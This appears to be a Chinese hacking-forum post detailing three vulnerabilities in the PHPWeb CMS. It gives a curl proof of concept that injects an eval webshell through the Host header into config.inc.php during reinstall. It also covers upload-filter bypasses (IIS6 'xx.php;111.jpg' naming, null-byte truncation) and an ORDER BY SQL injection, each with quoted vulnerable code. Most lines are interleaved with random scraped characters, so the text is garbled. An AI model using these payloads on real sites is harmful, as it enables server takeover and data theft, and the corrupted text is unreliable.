注入:
% r% ~; u$ d0 ~
# ^1 n2 z: R5 J之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
9 P) a- H2 k& O9 w; R! [/ r
( v, [" G% O3 u* S8 l鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件" \* @; ?7 u+ M6 z
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
/ @9 N" |% l! G8 r ( \! F! I' F. Z. _1 B; C v
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
5 h w: j9 i9 j8 m2 z5 Z
5 ^/ b! G3 N4 Y分析:/ j' m3 T% C- c; \/ [
/ i0 w- G( P0 W- y9 F. u; q* ~
1 Z" I3 H* c% u) H% s& N, b- d$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
$ D6 R8 ~# \; L s* d) G - g( Q: O5 K5 t: C& x
$filestr = fread(fopen($SysConfigFile, 'r'),30000);0 r0 f$ h2 u- J, _: @
$filestr=str_replace(" ","",$filestr);" j. {( U4 @2 ~( z$ b
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
- v, k" [5 l; k $filestr=str_replace("DefaultDbName",$dbname,$filestr);
* C# `9 V3 m3 o" j( s6 b! N3 B/ D $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
' m7 ]4 o0 {7 _2 S $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);3 A: J# }/ s, j
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);) V$ o# ]* \3 M) B, e" T
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);# ~3 Z; S: D7 y8 G; u, c% O
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);9 E" u3 _7 l" O# v O3 W
+ j' U# u- S3 s5 H% x5 f3 W
fwrite(fopen($ConFile,"w"),$filestr,30000);
+ O" n% h: U0 q$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
7 W' o+ ]0 A8 |; K/ C # W2 y$ p, p7 G: S6 L
poc:; q3 n9 _" x. V0 Z* K
0 ^2 V! ` ?4 z/ y8 t?9 W1 Z/ G h1 \3 `% C+ }
1( j- O# f. j5 C! q: C3 |
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
- Q1 ?5 T8 T5 K2 ?4 ~0 C9 `' T( Kshell地址: /config.inc.php
0 t, \: X/ P7 N" m! \跟之前的 phpcms一样 需要远程数据库
# f. T8 ]' E; q) H & i: O. ?- ~. X- f
——————————————————–$ X) O0 Q, v2 S- v5 M
上传漏洞(需要进后台):
# |& w* [7 K j+ E r# T% _漏洞文件: /kedit/upload_cgi/upload.php( ]* r" F* o | R) o0 ?: S0 T
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
$ W* t" G; \, ~9 z8 \$ V: p0 y" } $ g) t2 l0 X( x$ y m
P7 L9 p/ g! h- e7 h# W q<?php
8 E9 _' s3 g( h- ?" E# e' X9 m5 ?9 D define("ROOTPATH", "../../");) I9 }& _; Z" z; d- x, j0 @: `
include(ROOTPATH."includes/admin.inc.php");! f/ |6 d6 {+ G' `' W
NeedAuth(0);
' l6 o# v0 l) U( Y8 j0 e
) f5 a3 ]; N$ U9 o6 r $dt=date("Ymd",time());2 w2 V& A$ d" i: _$ R& P, Z
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
" ]% H9 ]1 e8 y7 ~4 C1 w: | Y- U @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
4 ]# f. I$ E" ^ u4 k: X S }; s4 L S! \$ i$ o2 C. P
; _# e% x$ K4 u1 r% u //文件保存目录路径
! {/ D9 X# w! ~5 N- P4 Q+ h% n $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
" ?6 I2 @: U/ A& _: ^ echo $save_path;
! \7 w. x: G# C- e //文件保存目录URL
3 Q& u, q# T0 F. s" n J+ g/ j/ r9 @ $save_url = '../../'.$_POST['attachPath'].$dt.'/';; i8 \8 H$ q& f; m. m4 a( T! b
! z- c, W; R; ?& p
//定义允许上传的文件扩展名8 y7 u1 `/ Q _0 M1 j4 N% h9 V
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀0 F- f6 T5 X' \9 l: r
8 _) ~6 s+ E9 A8 X% J/ V
//最大文件大小# y5 I" z5 d6 M/ t" P+ P( q2 P) t
$max_size = 1000000; `: _) a: e) C) `7 t2 U% m" D
6 \' Q* J& I2 P" ^: l7 o //更改目录权限6 [: c& w3 o" v' V) o
@mkdir($save_path, 0777);$ f( e' y2 L! z
/ |. W3 n# Y6 V, }8 [$ n //文件的全部路径* [5 ] l- I7 D* |& K# J# Z* q* K
$file_path = $save_path.$_POST['fileName']; //保存文件名
" h1 b/ C e5 E5 e, D # O( e3 s3 [0 [& }
//文件URL, c" g+ D0 s; C: c3 G
$file_url = $save_url.$_POST['fileName'];1 |$ a$ y" O z8 E( l8 y; b: }
//有上传文件时/ k9 p4 b" F( K/ K& ^, V
if (empty($_FILES) === false) {
# Y( |# E F: N O# y- K* m6 I2 k( X; O, U
//原文件名; Q' X/ n. h6 m- z% o3 x
$file_name = $_FILES['fileData']['name'];
) s. M+ F; ~7 s0 j //服务器上临时文件名. _6 L; m5 V( L4 r- K) a6 y
$tmp_name = $_FILES['fileData']['tmp_name'];7 g4 O8 J+ A5 j6 q
//文件大小
! R) I3 ?* O( \ $file_size = $_FILES['fileData']['size'];% w" a, u U, A S- ?
//检查目录
3 ~/ _( b3 j0 M2 Y if (@is_dir($save_path) === false) {7 n8 w `7 g' V4 ?- S5 N! w
alert("上传目录不存在。");7 y' k; F1 h% D$ {# }+ L2 p
}5 f; Z# U+ t8 Q8 p9 {+ c
//检查目录写权限! F/ v1 K" n' U9 Y! E7 M- o8 G
if (@is_writable($save_path) === false) {' Q- n) T& O" ~& G5 ]$ N" J4 h
alert("上传目录没有写权限。");8 U n' c4 y# X) [0 a, A1 v8 x
}
% b8 b* b) I" `# o: w J" G0 j //检查是否已上传* Q$ s8 H$ V9 d1 _
if (@is_uploaded_file($tmp_name) === false) {
! X( I" ~ c+ t- H8 m alert("临时文件可能不是上传文件。");
& M; ?( K0 W8 L1 |4 m }
) i! h: B3 \* g1 P) ] //检查文件大小' J" R6 [, v2 e! F0 w8 r# ?$ R. b
if ($file_size > $max_size) {
% o3 R( \4 A3 r, r alert("上传文件大小超过限制。");
& S- l0 q7 O% _! y: h7 W }
$ Q5 w7 u/ m' P //获得文件扩展名
6 U4 K0 Q$ _1 E0 N $temp_arr = explode(".", $_POST['fileName']);
3 `4 q) A/ Y5 `4 x* g' m $file_ext = array_pop($temp_arr);
5 G/ @2 e1 W4 V J8 p $file_ext = trim($file_ext);
; Z. G. K, n1 B; A8 v8 K. { $file_ext = strtolower($file_ext);
0 L5 Q* r/ c7 m& _ 1 ?1 n% g: R2 x! V$ Z; }
//检查扩展名 9 t( A) q7 R9 Y0 }9 [
if (in_array($file_ext, $ext_arr) === false) { & t( R6 F: _" g
alert("上传文件扩展名是不允许的扩展名。");9 L( i7 w+ C- c' I5 A; N5 {* |
}
1 o1 ~) B" Y! |) X) v . s" e) W G p0 }7 U9 T7 ]# b
//移动文件 9 Q: t3 T& K, f+ q2 t
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^ o( n) M( I5 p7 g# m! D
if (move_uploaded_file($tmp_name, $file_path) === false) {" y' x3 ~9 ?( f+ R: F9 Q
alert("上传文件失败。");: u/ j* D9 ^8 n5 j/ y$ U% L; r. c$ \
}
1 ]+ j/ i0 ]( A0 L5 S2 C# P7 ] . ?* L2 O- v$ ]. Z/ E$ y. \
@chmod($file_path,0666);: x+ Z8 s( I+ ~7 S# M
5 l% r& d/ }- B1 n( _( ~! L ?>
0 p d- f {2 }. V, I S) `/ O抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227: p% {# i- t0 Z6 Z4 G p
& d2 A8 g2 m& B
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过, e1 n1 q: H w, d0 k
5 l* j* q- v6 l" W2 o
——————————————————
/ z2 Q U+ P0 o3 W; b% f( w注入漏洞:- Y: o8 u3 H; \
漏洞文件:search/module/search.php
& W) ^4 i" {4 g0 i3 c/search/index.php?key=1&myord=1 [sqlinjection]
' Q5 n; q" J! K& D3 ` & X0 g! ^) h9 D3 v( }* Z9 _
- ^. h) o7 C3 w/ ^, y<?php. R2 B9 y. u2 `: ?- `9 R
// ... 省略 n 行...
) P$ M$ A2 g3 h4 W6 p' l //第18行:$ A) r5 n; O' |# r6 j- N
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响5 ?6 o( v; s( k4 z l, ?! y
$page=htmlspecialchars($_GET["page"]);
- _: t; v/ I( S! R' s' b. S $myord=htmlspecialchars($_GET["myord"]);
- `2 v6 C0 n- |/ t/ s; U4 B 0 T {0 N# d* G8 {/ U5 n* s
// ... 省略 n 行..." V! v$ N7 w9 q6 V4 y
$key,$myord 两个参数带入查询
% w- g! o& N' T7 Z //第47行 $key:0 J9 h; q6 q0 {6 `" b; t# n5 n
5 Q) M1 d: J2 R$ Z; K7 t
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
% `- V0 p4 `+ G6 g2 J5 y4 s+ s
6 n# a( g5 [2 ^0 z //第197行 $myord* U. I3 r. u- a( B/ A3 D
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
8 M' u2 t% C& v0 N) Q" z
2 r. @! c; U+ v" ]) z' J% I ?>
" K* A6 A# m% {2 y5 w+ D" T |